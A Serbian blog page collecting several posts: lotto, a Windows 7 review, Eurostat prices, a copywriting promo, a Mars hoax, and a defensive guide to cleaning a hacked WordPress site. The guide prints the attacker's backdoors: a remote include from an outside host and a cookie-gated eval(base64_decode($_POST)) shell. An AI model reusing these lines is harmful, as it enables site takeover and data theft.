Category: Blog

Srećnih sedam – loto

Lutrija Srbije - Loto(ne, na žalost, nisam dobio sedmicu 😛 ali se nikako ne bih bunio 🙂 )

Jedan od neracionalnih crta koje većina ljudi koja me zna ne može baš da spoji sa mnom je – igranje lotoa. Iako sam matematičar i znam da su šanse za dobitak na lotou broj uplaćenih kombinacija / 15,380,937 (ili: baš male), ja uredno svake nedelje (sada već dva puta nedeljno) uplaćujem svojih nekoliko kombinacija.

Brojevi su strateški 😉 raspoređeni, pa se desi da nekada dobijem trojku (40 din), četvorku (400 din) a dva puta sam dobio i peticu (5000 – 7000 din). Naravno, kada podvučem crtu, naravno da sam u gubitku 🙂 ali mu ovo dođe kao izlazna karta “kad jednom dobijem pa se izvučem iz sveg ovog *ranja …” odnosno ventil kada dnevne obaveze, stres i pritisci porastu preko svake mere.

Kod nas je Lutrija Srbije jedina ovlašćena organizacija za loto i slične igre, po Zakonu o igrama na sreću iz 2004. Od svih uplata koje se ostvare, 50% se odvaja za dobitke, 30% odlazi u Budžet Republike Srbije a 20% Lutriji za operativne troškove (ovde je i prost odgovor da li se izvlačenja “nameštaju” – nema razloga, jer je loto nepresušni izvor novca za državnu kasu – 30% od ukupne mase svakog meseca plus 20% od svakog velikog dobitka).

Koliko je to para? Recimo da je za 41. kolo uplaćeno 76.156.440 dinara (oko 810,000 €); recimo da ima 55 kola godišnje (oko Nove godine i Božića daju više kola; od avgusta će ih biti i mnogo više), što znači da su prihodi Lutrije negde oko 9 miliona evra godišnje.

E sad, da li bi očekivali da organizacija koja ima garantovanih 9 miliona evra godišnje se potrudi da recimo mogućnost uplate kombinacija unapred za nekoliko izvlačenja? Ili uplatu preko mobilnih telefona? Ja bih (nije ovo teško, znam i kako se to radi).

Ali da ne idemo toliko daleko, uvek možemo da povučemo argument da je “ovo Srbija” (iliti sve što treba da se uradi je teže, komplikovanije i skuplje, jer treba valjda podmazati mnogo znojavih ruku u lancu). Da idemo na nešto jednostavnije, recimo da ta ista Lutrija okači rezultate posle izvlačenja? Pola sata posle? Pola dana posle?

Ja bih. Rezultata od petka još uvek nema (subota, 16h) a kad će, ne znamo. Jedina prilika kada posećujem sajt RTV Pinka (omražene televizije) je posle izvlačenja, jer o apsurda, njima nije teško da to okače na sajt.

Jedan javni servis bi trebalo da pruži minimum usluga svojim korisnicima; javni servis koji uzima 50% svih uplaćenih para (što budžet, što Lutrija) bi morao da barem minimalno ispoštuje te iste korisnike. Javni servis koji ima kakvo-takvo rukovodstvo bi, barem malo, trebalo da brine i o malim ljudima koji omogućavaju rad tog servisa. Ne zato što moraju, već zato što je to profesionalno i dobro odrađen posao.

I da, javni servis bi trebalo da ima barem jednu email adresu gde ovakve kritike mogu da uputim, mada i ovaj blog dobro dođe.

Windows 7 RTM

Windows 7 RTM: odličan operativni sistemWindows 7 RTM (Release to Manufacturing) je stigao; doduše, ako niste MSDN pretplatnik ili na neki drugi način vezani sa Microsoftom, mogućnost da ga instalirate je za vas u oktobru; na moju sreću, zbog posla koji radim, ovo kuckam iz Windows 7 Professional 🙂

Iako ga mnogi proglašavaju ispravkom za Vistu ili ono što je Vista trebala da bude, to prosto nije tačno – Windows 7 je novi operativni sistem, sa dovoljno izmena spolja i (pogotovo) iznutra da u takvo nešto ne treba imati sumnje.

Kako sam već dosta toga napisao o Windows 7 funkcijama u beta 1 izdanju, ovde ću probati samo da dodam stvari koje su ili specifične za finalno (RTM) izdanje ili koje sam propustio u prvom pisanju.

Instalacija

Windows 7 je moguće instalirati preko Viste (upgrade opcija) ili direktno, na čistu mašinu ili posebni disk. Direktan upgrade sa Windows 7 Beta/RC ili sa XP na W7 nije moguć; doduše, to nije preveliki hendikep – ionako je bolje da uradite čistu instalaciju i time dobijete maksimalno stabilan sistem, bez nasleđenih (loših) drajvera i/ili programa.

Windows Easy Transfer

Windows 7: Easy Transfer(klikni za veću sliku)
Naravno, “čist install” ne znači da treba da se odreknete podešavanja vaših aplikacija koje ste mukotrpno postavljali kako vam najviše leži. Bez obzira da li je vaš prethodni sistem Vista ili XP, preporučujem korišćenje Windows Easy Transfer alata (nalazi se na instalacionom disku, direktorijum SupportMigwiz, datoteka migsetup.exe) – zapakovaće sve vaše datoteke, podešavanja registrija i sve ostalo što je potrebno da se na novom operativnom sistemu osećate kao kod kuće. Tu datoteku možete snimiti na USB disk ili CD/DVD i kasnije upotrebiti u novoinstaliranom sistemu. Sem podešavanja, Easy Transfer će vam dati i spisak programa (i osvežavati isti) koje trebate da instalirate da bi sve radilo kako očekujete (vidi sliku).

Sama instalacija je jako brza; uz minimum pitanja, i samo jednim restartom (zavisi od vaše mašine i/ili izabrane konfiguracije) za 20-ak minuta imate radeći Windows 7 sistem. Većina drajvera je automatski instalirana (ili sa DVD-a ili preko Windows Update sajta) – jedini uređaj na mojoj konfiguraciji koji nije instaliran je modem (što me ne brine previše).

Kompatibilnost

Ako je aplikacija radila na Visti, skoro sigurno će raditi i na Windows 7. Instalirao sam standardan paket za poslovnu mašinu:

i za sada nije bilo nikakvih problema u svakodnevnom radu.

Mnoge druge stvari sa referentne liste programa nisu više potrebne, jer su ugrađene u sam W7 (osvežiću listu čim pre).

Mali problem je što je Windows 7 prvi operativni sistem koji nema ugrađen mail klijent (možete uzeti besplatan Windows Live Mail iz Essentials paketa) pa u startu ne postoji ni jedan program koji podržava mailto: protokol; tako da može desiti da aplikacije koje se oslanjaju na Outlook Express za slanje maila neće raditi.

Svakodnevni rad

Libraries

Ono što mi je oduvek nedostajalo i ograničavalo u radu (doduše, ja sam organizational freak) je to što su “specijalne” lokacije (Documents, Pictures, Music, Videos itd) zakucane na jednu i samo jednu lokaciju na disku. Kako svi danas radimo sa mrežnim okruženjima, spoljnim hard diskovima, USB Flash diskovima, teško da ćete uspeti da realnost uz gornja ograničenja ispratite efikasno.

Tu Windows 7 uvodi pojam biblioteka (Libraries) – praktično skupa vaših foldera određenog tipa:

Windows 7: Libraries

Iza svake od ovih ikona se nalazi skup foldera, koji ne moraju da budu na vašem računaru. Vrlo korisna opcija.

Taskbar

Windows 7: Taskbar
(klikni za veću sliku)

Ako bi trebalo da izdvojim jednu stvar koja karakteriše Windows 7, to je upravo rad sa taskbarom; brži je, intuitivniji, sa mnogo više mogućnosti; integracija QuickLaunch-a je izvedena još bolje od Viste.

Klik na ikonu na taskbaru otvara aplikaciju; ako je već otvorena, dovodi prvi prozor iz grupe u fokus. Shift + klik (ili klik srednjim dugmetom miša) na ikonu uvek lansira novu instancu aplikacije; posebna poslastica je Shift + Ctrl + klik – otvara aplikaciju pod administrativnim pravima. Na kraju, Shift + Right klik daje opcije za rad sa svim prozorima grupe – Restore / Minimize / Maximize.

Naravno, stare prečice (Win + 1 do Win + 0 : isto što i klik na n-tu ikonu na taskbaru) iz Viste i dalje važe.

Upravljanje prozorima

Dosta izmena je urađeno na radu sa prozorima i pokušaju da vam na svaki način olakšaju snalaženje među brdom otvorenih (pogotovo, ako imate više monitora).

Recimo, Aero Peek: ako postavite miša na umanjeni prikaz prozora u Taskbaru, svi ostali prozori na radnoj površini će “nestati”, omogućavajući vam da imate jasan pregled bez izbora samog prozora:

Windows 7: Aero Peek

Klik na umanjen prikaz će dovesti prozor u fokus i omogućiti da nastavite prekinuti rad. Takođe, postoji gomila novih tastaturnih skraćenica za rad sa prozorima:

Win + Home – Minimizuj sve prozore osim onoga u kome sada radite

Win + kurzor gore – Maksimizuj aktivni prozor
Win + kurzor dole – Minimizuj aktivni prozor

Win + kurzor levo (desno) – “Prilepi” aktivni prozor za levu (desnu) ivicu monitora

Win + space – Napravi sve prozore providnim (pogledaj desktop)

Win + Shift + kurzor levo (desno) – Prebaci prozor na levi (desni) monitor

Windows 7: Show DesktopPrikaz desktopa (Show Desktop) je sada ugrađen u sam Taksbar – ako pređete mišem preko pravougaonika na kraju Taskbara svi prozori će postati providni; klik na taj pravougaonik će ih sve minimizovati. Ikonica sa crvenim krstićem je novi Action Center (Control Panel -> System and Security -> Action Center ili dupli klik na ikonu), koji vas obaveštava o svim pronađenim problemima i nudi i rešenja (na konkretnom primeru: ovde nisam instalirao antivirusni program).

Multimedija

Kao što sam napisao u prethodnom tekstu, Windows Media Player je drastično unapređen: čistiji i jednostavniji, upravljanje vašom bibliotekom zvuka, slike i videa je sasvim dobro odrađeno. U sam Windows 7 je sada ugrađena podrška za mnoge codec-e (i H.264/MPEG-4 AVC), čak i za Blu-Ray diskove (kod nas su retkost, ali to neće još dugo biti tako).

Ono što je interesantna novost je da sada možete puštati muziku sa vašeg kućnog računara na drugi računar na koji ste ulogovani preko interneta. Za to vam je potrebno:

– Da imate Windows Live ID (ako koristite MSN/Live Messenger, već ga imate; ako ne, otvara se besplatno, uz važeću mail adresu) i da isti Windows Live ID autorizujete za pristup na oba računara (server i klijent).

– da eventualno podesite vaše rutere (port forwarding)

– uključite Windows Player i povučete muziku sa vašeg računara 🙂

Windows 7 Media Player: streaming sa kućnog računara

Ako je kojim slučajem jedan od računara u domenu (što praktično važi za većinu poslovnih računara) onda taj računar ne može biti izvor muzike, ali svakako može slušati muziku sa recimo kućnog računara.

Ispod haube

Iako je na vizuelnom delu dosta urađeno, još je bitnije (za mene) šta je sve promenjeno ispod haube – puno. Pobrojaću samo funkcije koje sam ispratio preko raznih blogova / sajtova:

1. Windows Kernel Dispatcher Lock – uklonjene su barijere za efikasan rad na računarima sa više procesorskih jezgara (uklonjen je Windows Kernel Dispatcher Lock i time ostvarena mogućnost za rad na mašinama do 256 jezgara); ovo sređivanje je otkrilo problem sa efikasnim upravljanjem memorije u sistemima sa toliko jezgara, pa je urađen i

2. Redizajn Windows Memory Manager dela.

3. Dodata je nova mrežna opcija, Direct Access – nešto kao lite VPN – način da pristupate vašem poslovnom okruženju sa W7 računara gde god da ste (zahteva da server u mreži koji izvršava Direct Acces bude Windows Server 2008 R2)

4. Mnogo bolja podrška za Solid State diskove – posebno važno za laptop računare.

Naravno, sve ove promene (kako spolja tako i iznutra) prate i promene u API pozivima, pa ćemo mi programeri imati dosta posla u dodavanju lepih novih funkcionalnosti (prvenstveno JumpList za Taskbar) u naše buduće (a bogami i postojeće) aplikacije.

Performanse

Pošto računar koristim u dnevnom radu i nemam naviku puštanja razno-raznih benchmark testova, mogu da dam samo svoj osećaj – brže od Viste. Koliko brže? Ne preterano; jer ovom efektu treba pridodati i to da je ovo novoinstalirani sistem, gde nisu svi programi instalirani kao na Visti. Sem samog “brže” (u smislu da neka operacija kraće traje) sam operativni sistem je sa mnogo boljim odzivom – klik ili taster proizvode trenutni efekat, tako da je pravo zadovoljstvo raditi.

U poređenju sa Windows XP … Prvo, nemam živu instancu XP-a već tri godine (ni kući ni na poslu) a drugo, verujem da je XP na istom harveru brži. Treće, to je i očekivano – verujem i da je Windows 98 SE na istom hardveru brži od XP-a 😛 Prosto, ko želi brzinu XP-a treba na istom i da ostane 🙂

Ukratko, na novijem hardveru Windows 7 će vam dati udobnije iskustvo od Viste.

Windows XP Mode

Windows 7: XP modeVirtuelizacija, ili mogućnost da u jednom trenutku radite sa više operativnih sistema ili instanci istog operativnog sistema je nezamenljiva kada razvijate aplikacije – lako testiranje i ispravljanje problema na različitim okruženjima bez da napustite vaš operativni sistem je način da uštedite gomilu vremena.

Već sam pominjao Virtual PC, no, Windows 7 je ovoga puta otišao i korak dalje: uveli su Windows XP Mode – način da zadržite sve vaše aplikacije koje rade pod XP-om a nisu kompatibilne sa novim Windows 7 operativnim sistemom.

Za ovo vam je potrebno:

  • Windows 7 Professional ili jači
  • Mašina koja ima hardversku podršku za virtuelizaciju (AMD-V™ ili Intel® VT)
  • Procesor od barem 1Ghz i barem 2GB RAM (32 bita) ili 3GB RAM-a (64 bita) – iako ovo shvatite kao minimum 🙂
  • Malo dodatnog prostora na disku (15 Gb)

Kada ste ovo obezbedili, ostaje da skinete Virtual PC Release Candidate kao i Windows XP Release Candidate (na istoj stranici su) i da ih instalirate. Ovim dobijate kopiju Windows XP Professiona SP3, potpuno licenciranu.

Po čemu se razlikuje Windows XP Mode od “uobičajenog” korišćenja Windows XP preko Virtual PC-a? Prvenstveno u vrlo čvrstoj integraciji sistema domaćina (Windows 7) i gosta (Windows XP): deljenje Clipboard prostora, drastično jednostavnije deljenje direktorijuma i fajlova, i najvažnije, mnogo bolji radi sa periferijom: USB uređaji se mogu ravnopravno koristiti između oba operativna sistema, a čak je moguće i štampati iz Windows XP mašine na štampače definisane u W7 okruženju. Praktično se radi o još jednom članu Microsoft Enterprise Desktop Virtualization (MED-V) familije – dva operativna sistema pod jednim desktopom: instalacija programa u XP Mode postavlja prečicu i na W7 desktop i vi možete startovati taj program direktno iz W7 okruženja.

Iako su i Virtual PC i Windows XP Mode u RC (Release Candidate) izdanju, stabilnost je dobra i nisam imao problema ni sa jednom aplikacijom koju sam probao u XP Modu (doduše, to nije veliki broj).

Za kraj

Windows 7 je pre svega izuzetan operativan sistem – ovo mogu da kažem iz 15+ godina iskustva sa Windows operativnim sistemima. W7 je vrlo stabilan (bez ijednog BSOD od kada se igram sa W7, a to je od početka godine – Beta1 i RC) i ispeglan, sa mnoštvo malih i velikih unapređenja. Ako prelazite sa XP-a, to će za vas biti sasvim novo (i vrlo lepo) iskustvo. Ako prelazite sa Viste (kao ja), dobićete smireniji, brži i efikasniji sistem, sa svim sitnicama na koje ste se navikli u Visti.

Lično, jedva čekam oktobar i instalacioni disk za kućevnu upotrebu 🙂

Ako planirate da kupujete novi računar, toplo savetujem da sačekate jesen i kupite ga sa Windows 7 Home Premium (za kuću) ili Professional izdanjem (ako ga koristite za posao). Ako pak imate novu mašinu i nešto viška novca 🙂 naručite ga kod vašeg prodavca softvera – vaš računar to zaslužuje 🙂

Update 14. avgust 2009: Microsoft Srbija je otvorio konkurs za najbolju fotografiju iz Srbije, uz šansu da to postane deo finalne verzije Windows 7 (jedna od tema). Više detalja imate ovde – rok je 24. avgust.

Ostali Windows 7 tekstovi su:

Srbijo, skupa li si

Eurostat: statistika za EvropuIako nisam preterani poklonik statistike (uz malo podataka, malo pogrešne metodologije, i puno Excel grafikona svašta se može) s vremena na vreme naletim na skup podataka koji me natera da se zamislim.

Recimo, kao malopre: čudnim putevima Mreže, nabasam na sajt EUROSTAT-a – zvaničnog zavoda za statistiku Evropske unije. Među raznim podacima koje možete iskopati je jedan naročito interesantan izveštaj, sa rogobatnim imenom:

Wide spread in consumer prices across Europe in 2008 – Issue number 50/2009

To je mali izveštaj od 8 strana, koji se bavi prosečnim cenama u Evropskoj uniji kao i u zemljama u okruženju, pa tako i našom Srbijom. Kao referenca ( = 100 ) se koristi prosek cena u 27 EU zemalja. Sve iznad proseka – relativno skupo, sve ispod proseka – relativno jevtino.

Ukupan prosek cena u Srbiji je nešto ispod 60 (60% od cena u EU27). No, ukupan prosek nije ono što je interesantno; interesantne su brojke po oblastima. Primer:

Hrana i bezalkoholna pića: 82 (skuplje od Slovačke, Poljske, Litvanije, Rumunije, Crne Gore, BiH, Albanije, Bugarske i Makedonije)

Odeća: 104 (skuplje od Irske, Francuske, Holandije, Velike Britanije, Španije, Kipra, Poljske, Latvije, Turske, Mađarske, Litvanije, Rumunije, BiH, Albanije, Bugarske i Makedonije) – i skuplje od evropskog proseka!

Obuća: 111 (!) (lakše mi je da napišem zemlje koje su skuplje od nas, ali ajde, skuplje od: BiH, Albanije, Bugarske i Makedonije, Rumunije, Litvanije, Poljske, Slovačke, Češke, Mađarske, Turske, Latvije, Slovenije, Portugala, Kipra, Španije, Velike Britanije, Nemačke, Austrije, Italije, Belgije, Francuske i Irske).

Potrošačka elektronika: 101 (skuplje od Bugarske, Crne Gore, Latvije, Estonije, Velike Britanije, Švajcarske)

Zato slobodno možemo reći da smo barem po nekim aspektima stigli a bogami i prestigli Evropsku uniju 🙂 (o platama i primanjima neki drugi put).

Lepota reči za vaše klijente – Kolegijum

Kolegijum: lektura, redaktura, copywriting, samizdat Korporativno prisustvo na netu u domaćoj praksi se uglavnom svodi na dizajnera, manje ili više dobrog, programera, manje ili više dobrog, par manje ili više dobro optimizovanih fotografija i gomile teksta.

Sudeći po trendu, tekstovi su zadnja rupa na svirali, nešto što se zove nužno zlo i što će da odradi neko najpismeniji u firmi ili neko ko ima najviše vremena, a tek ako ima neko ko je završio književnost, puna kapa! Zato se i web sadržaj uglavnom čini kao miš-maš raznih priča “o nama i našim uslugama ili proizvodima” bez jasne ideje da upravo sadržaj komunicira sa posetiocem, uz očigledno odsustvo lektora i korektora sadržaja, jer je sve to, očigledno, najmanje bitno kad smo se već onoliko istrošili na taj internet i te web dizajnere i sličnu bagru.

Sa webom je još i lako. Ukoliko se uoče greške, propusti ili nebuloze, potrebna je samo dobra volja da se greške isprave, mada najčešće nema ko ni da ih vidi, pa kako će i da ih ispravlja? Greške ostaju kao spomenik preziru klijenata, jer šta one poručuju? Nije nam stalo do vas.

Sandučići su nam puni reklamnih brošura sa po najmanje dve slovne greške na svakoj strani, kad smo već dali 200 evra za taj glupi dizajn i glupu štampu, dobro je i ovako kako je. I onda greške, jednom odštampane, ostaju dokle god se ne razdeli tiraž, da svedoče o nemaru.

Šta je skuplje? Ušteda na lektoru ili 10.000 letaka punih grešaka?

Za Kolegijum, koji za sebe kaže da su “ljudi od reči“, reči su važne. Kolegijum ih ne prodaje, već pronalazi one reči koje će prodavati. One koje će nešto i reći. Posao ljudi u Kolegijumu je ne samo da ispravljaju greške, već i da pronalaze bolji stil ili bolju reč. Oni pišu saopštenja, web sadržaje, SEO elemente sajta (description, keywords, titles) a pouzdano znam da je Tanja, poznatija kao Moo, pisala i “pismo uredniku” u ime jednog klijenta i da vodi kompletnu pisanu dokumentaciju jednoj ne maloj kompaniji.

Ljudi imaju pametnija posla – naime, da se bave svojim poslom, a papirologiju su prepustili Kolegijumu. Posebno mi je zanimljivo što Tanjini saradnici trenutno pišu autobiografiju jednog čvrstog momka – mislio je da ima šta da kaže, ali čovek ne zna kako. Ali Tanja i njeni saradnici (ima tu i njenih kolega iz novinarstva, književnosti i izdavaštva) znaju kako se piše.

Zbog osetljivosti posla, Kolegijum ne imenuje svoje klijente ni u jednoj grupi svojih izvršenih usluga, osim što postoji jedna koju pružaju, zanimljiva i čini mi se jedinstvena kod nas, i na kojoj se potpisuju a može biti zanimljiva i blogerima sa književnim ambicijama: konsultacije za objavljivanje samostalnih autorskih izdanja (samizdat).

I da, dizajn za Kolegijum je smislila Tanja, grafički ga ispeglala i znak smislila Jelena, a programer / usability konsultant koga možete za sve ostalo kriviti je moja malenkost 🙂

Kao nagrada što ste pročitali dovde i kao čast za novi posao, ako na zahtevu za ponudu ili kontakt formi bilo gde u telu poruke unesete VESICORG, dobićete fini popust od 15% do kraja avgusta 2009 – malo li je na ovu skupoću i sveopštu krizu? 🙂

Šalu na stranu (ali gornji kupon je istina), toplo preporučujem Tanju i njenu ekipu – a znam da vam treba, čak i nekim mojim omiljenim blogerima koje redovno pratim 😉

Mars kao kuća

Mars kao kuća - u avgustu - ali zamalo :-)Nedavno sam primio simpatičan mail a Ivanin tekst o pomračenju me ponukao da o njemu napišem i nekoliko reči 🙂

Pre toga, kraći uvod: astronomija je bila i ostala jedna od mojih omiljenih oblasti; dok sam bio mali, pravio sam teleskop sa 80 mm glavnim ogledalom, bio dopisni član astronomskog društva “Ruđer Bošković” i drhtao na -10 posmatrajući prolazak Halejeve komete u februaru 1986, što je iskustvo koje se ne zaboravlja.

E kada imate sve ovo u vidu, šta mislite kakva je bila moja reakcija kada sam dobio sledeći mail:

Ovo se jednom događa u našem životu.

28. Avgusta 2009 god., 30 minuta posle ponoci, pogledajte u nebo.

Planeta Mars bice vrlo sjajna na nebu i imace velicinu Meseca, premda je planeta Mars udaljena 34,65 miliona kilometara udaljena od Zemlje.

Pokusajte da ne propustite ovaj fenomen. Videce se golim okom, a izgledace kao da Zemlja ima dva Meseca !!!

Pojava ovog fenomena, ponovice se godine 2287.

Podelite ovu informaciju svim prijateljima, jer niko, od danas zivih ljudi, nece moci da ovo vidi po drugi put.

🙂 🙂 🙂 (a ni prvi put, mogao bih da dodam).

Pri tom je na listi primalaca (koja je bila ogromna) bilo ljudi za koje bih se zakleo da će prvo proveriti tu informaciju, ali ne – moć i lakoća Forward dugmeta su nešto što se teško prevazilazi.

Sve u svemu, naravno da Mars nikada neće biti velik kao Mesec i naravno da je ovo samo još jedan Hoax – ali sam se barem slatko nasmejao 🙂

Čišćenje zaraženog WordPressa

Čišćenje zaraženog WordPressaIgrom slučaja, održavam veliki broj WordPress instalacija. Tu spada standardni upgrade instalacija (koji je sada dosta olakšan automatskim osvežavanjem, od verzije 2.7), backup baze i fajlova, i sličnih sitnica 🙂

Pri tom sam, kao i svi IT geekovi (freakovi) itekako ponosan na svoj rad – sve fino i ispeglano, sve radi kao sat. Možete onda zamisliti mog užasa kada sam u Google Reader-u video ovakvu sliku:

Hackovan WordPress: prikaz u RSS čitaču

Pri tom je WordPress u pitanju potpuno zakrpljen, na verziju 2.8.2

(sitno upozorenje: uputstvo koje sledi podrazumeva da zaista znate šta radite 🙂 – nije za hobi vlasnike WordPress-a i potreban je full backup svih fajlova i baze pre ikakvog igranja)

Ovo je zahtevalo solidnu akciju – krenuo sam u analizu celokupnog WordPress-a, od baze do fajlova, na svim dostupnim instalacijama.

Analiza

Promena u fajlovima – sondiranje

Prvi i najjednostavniji korak je videti da li su, i koji WordPress fajlovi promenjeni. Rečeno – učinjeno: skočio sam do WordPress release arhive i skinuo odgovarajuću verziju. Zatim sam skinuo i tekuće fajlove i uz pomoć WinMerge programa napravio poređenje.

Imao sam šta i da vidim:

index.php – umesto očekivanog:

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');

dobio sam:

/** Loads the WordPress Environment and Template */
if (isset($_GET['license'])) {
    @include('http://wordpress.net.in/license.txt');
} else {
    require('./wp-blog-header.php');
}

Praktično, sajt http://wordpress.net.in/license.txt “učestvuje” u vašem blogu, a da vas za to nije pitao 😉

Zatim xmlrpc.php – umesto očekivanog:

if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

upisano je:

if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = mysql_escape_string(trim($HTTP_RAW_POST_DATA));

(mada nisam uspeo da provalim kakva je funkcionalnost dodavanja mysql_escape_string funkcije).

Promena u fajlovima – detaljna analiza

Kako mi je ovo samo pokazalo da promena zaista ima, krenuo sam u temeljniju akciju: napravio sam lokalnu “sliku” sajta, dopunjujući instalaciju WordPress-a sa svim svežim pluginovima i uporedio sa situacijom sa sajta. Rezultat je bio neverovatan; ovo su samo od nekih fajlova koji su volšebno nastali na sajtu, a da ne pripadaju originalno instalaciji:

wp-content/plugins/events-calendar/ec_management.bak
wp-content/plugins/exec-php/css/admin.old
wp-content/plugins/exec-php/includes/option.old
wp-content/plugins/exec-php/images/progress.old
wp-content/plugins/wp-super-cache/wp-cache-base.old
wp-content/plugins/wp-cache/README.old
wp-content/uploads/2008/01/svinja_old.png
wp-content/themes/classic/header_old.gif

Algoritam imenovanja ovih fajlova je jednostavan – uz neki postojeći fajl se kreira novi fajl, koji dobija nastavak .old ili .bak ili to isto postaje deo imena. Bez obzira na nastavak, unutra je maliciozni php kod koji radi veoma ružne stvari.

Pored gornjih, postojala je gomila novih fajlova među slikama, sa nastavcima kao što su .pngg, .jpgg ili .giff, koji su takođe imali zločesti php kod.

Ako imate ssh pristup serveru, neke od komandi koje mogu pomoći u lociranju fajlova su:

find . -name *_new.php
find . -name *_old.php
find . -name *.old
find . -name *.bak
find . -name *.pngg
find . -name *.jpgg
find . -name *.giff 

grep -r -l -i 'f541b3abd05e7962fcab37737f40fad8' *
grep -r -l -i 'if(md5' *

Sem novih fajlova, i gomila postojećih fajlova je promenjena (obično među temama), dodavanjem nekoliko linija koda, na primer:

if(md5($_COOKIE['e4485c074ae5eeec'])=="1350e06b21ccb35f1389d7587fbe42cc") {
    eval(base64_decode($_POST['file'])); 
    exit; 
}

Prva (pogrešna) misao je da su fajlovi “nekako” dospeli na blog, i da je dovoljno da ih izbrišem i sve će biti ok. Tako sam krenuo u:

Čišćenje

Korak 1 – fajlovi

Umesto da brišem i proveravam fajl po fajl, lokalno sam:

  • Raspakovao najnoviju verziju WordPress-a
  • na to dodao sve pluginove koji se koriste na sajtu, skinute ponovo sa originalnih adresa
  • sve teme ponovo skinuo i stavio ih u wp-content/themes
  • Sa sajta: wp-config.php iz root foldera
  • Sa sajta: izmenjene fajlove iz tema, pri tom poredeći svaki izmenjeni fajl sa originalnim, koristeći WinMerge
  • Sa sajta: wp-content/uploads folder, propisno očišćen od čudnih, gore pomenutih fajlova
  • Po uploadu čiste verzije sajta pobrinuo se da svi php fajlovi imaju 644 prava pristupa

No već sledeći dan je pokazao da ova akcija nije pomogla – ponovo su spam linkovi bili u RSS feedu, i ponovo su čudni fajlovi našli put do WordPress instalacije.

Sada mi nije preostalo ništa no da razumem ceo mehanizam kako su hackeri uopšte provalili u WordPress i kako “rupu” održavaju otvorenom.

Kako su svi fajlovi bili potpuno čisti, a hack je opet proradio, logično mesto napada je naravno, MySQL baza gde WordPress drži sve svoje podatke i podešavanja.

Korak 2 – baza podataka

Kada proveravam podatke, koristim uvek “direktni” pristup – nikako kroz sam WordPress admin panel. Prvo sam pregledao wp_users tabelu i imao sam šta i da vidim:

Korak 2.1 – strani administratorski nalozi

Hakovana WordPress baza: users tabela
(klikni za veću sliku)

  • Dodat je WordPress user, sa nultim vremenom kreiranja
  • Dodat je jedan ili više usera, gde je username nastalo ili od mail adrese admina ili na admin nalepljeno još neko slovo. Karakteristično je vreme kreiranja – identično je vremenu kreiranja prvog admin naloga (praktično kopiranje sloga)

Naravno, svi novokreirani nalozi imaju administrativna prava (dalje ispitivanje je pokazalo da je WordPress imao gomile propusta u verzijama 2.2 – 2.7 koji su omogućavali ovakvo direktno kreiranje naloga).

Rešenje: obrisati sve te naloge.

Ovakvi nalozi daju napadajućem skriptu mogućnost da radi šta god bilo: da kreira fajlove, da menja podatke u bazi; pitanje je šta je stvarno od toga i urađeno.

Korak 2.2 – wp_options / active_plugins

Pokušao sam da u samoj bazi nađem referencu na neki od “čudnih” fajlova, ranije pronađenih; i našao sam ih: nalazili su se fino ušuškani u tabeli wp_options, pod sekcijom ‘active_plugins‘; ovo praktično znači da im je obezbeđeno automatsko učitavanje svaki put prilikom podizanja WordPressa.

Proveru možete izvršiti ili SQL upitom:

SELECT *
FROM `wp_options`
WHERE option_name = "active_plugins"

ili smeštanjem i izvšavanjem malog php programčeta koji će to uraditi za vas (daleko pregledniji a i ne zavisi od wordpress table prefix-a):

<?php
require( './wp-load.php' ); 
if ( get_option('active_plugins') ) 
{
    $current_plugins = get_option('active_plugins');
    if ( is_array($current_plugins) ) 
    {
     foreach ($current_plugins as $plugin) 
     {
       if ('' != $plugin ) 
       {
         echo $plugin . '<br />';
       }
     }
    }
}
if ( get_option('internal_links_cache') ) 
{
    $link = get_option('internal_links_cache');
    if ('' != $link ) 
    {
      echo '<hr>DELETE internal_links_cache option!<br />';
    }
}?>

Rešenje: ako ste locirali nedozvoljene ili neobične pozive vezane uz neke pluginove, najlakše ćete se osloboditi tih delova ako kroz WordPress admin panel deaktivirate taj plugin pa ga ponovo aktivirate.

A šta ovi fajlovi zaista rade? Ako malo analizirate (poprilično šifrovan) kod ovih fajlova, jedan od elemenata koje ćete videti je i:

SELECT option_value FROM $wpdb->options 
WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'

i to se nalazilo u većini hack fajlova.

Vrednost ove opcije (isto iz tabele wp_options, ovoga puta za option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8‘) je ogromno parče base64 šifrovanog php koda (pre toga uradite strrev, ako želite da ga pravilno čitate) gde se nalazi pravi engine cele hack rutine – od “ispaljivanja” spam linkova pa sve do otvaranja i ispisivanja CELE BAZE korisniku koji zna da priđe sajtu kako treba – veoma destruktivan kod.

Ako pobliže zagledate gornji php kod za izlistavanje, videćete da pored izlistavanja pluginova, ovaj kod proverava i postojanje opcije ‘internal_links_cache’ – naime, neki od hack fajlova čitaju ovu opciju, rade base64_decode i sadržaj (a to su obično gomile i gomile spam linkova) ispaljuju u vaš RSS feed.

Rešenje: obrisati slogove iz wp_options tabele sa
option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8’ i option_name = ‘internal_links_cache’:

DELETE FROM wp_options WHERE option_name = 'internal_links_cache' OR 
option_name = 'rss_f541b3abd05e7962fcab37737f40fad8';

Na kraju

Samo da sumiram; ako vam se u vašoj instalaciji WordPress-a učini bilo šta sumnjivo (javi se vaš antivirus program, korisnici primete čudan sadržaj u RSS feedu), onda:

  • Uradite full backup i baze i fajlova
  • Nađite nekog ko sme da se bakće sa samim sitnim crevcima WordPress-a
  • Proverite prvo fajlove
  • Proverite administratorske naloge
  • Proverite opcije samog WordPressa koje omogućavaju da se useli neželjeni kod

Tek ovakve stvari pokazuju koliko je važno da održavate vaš WordPress “svežim” i da primenjujete zakrpe čim se pojave – inače, možete postati i ostati žrtva spamera a da toga niste ni svesni.

Ostali bitni tekstovi iz WordPress kategorije su:

Mediji ili nauka?

Negde pročitah jednu rečenicu koja mi je ostalo duboko urezana:

“Svaki narod ima vlast kakvu zaslužuje, naročito ako je ona demokratski izabrana”

Sad, potpuno je jasno da je ovo tačno i da, ma koliko se ljudi koji nisu glasali za takvu vlast ili koji smatraju da može da bude bolje (moja malenkost uključena) bunili, vlast je onakva kakvu je narod, naš narod, izabrao.

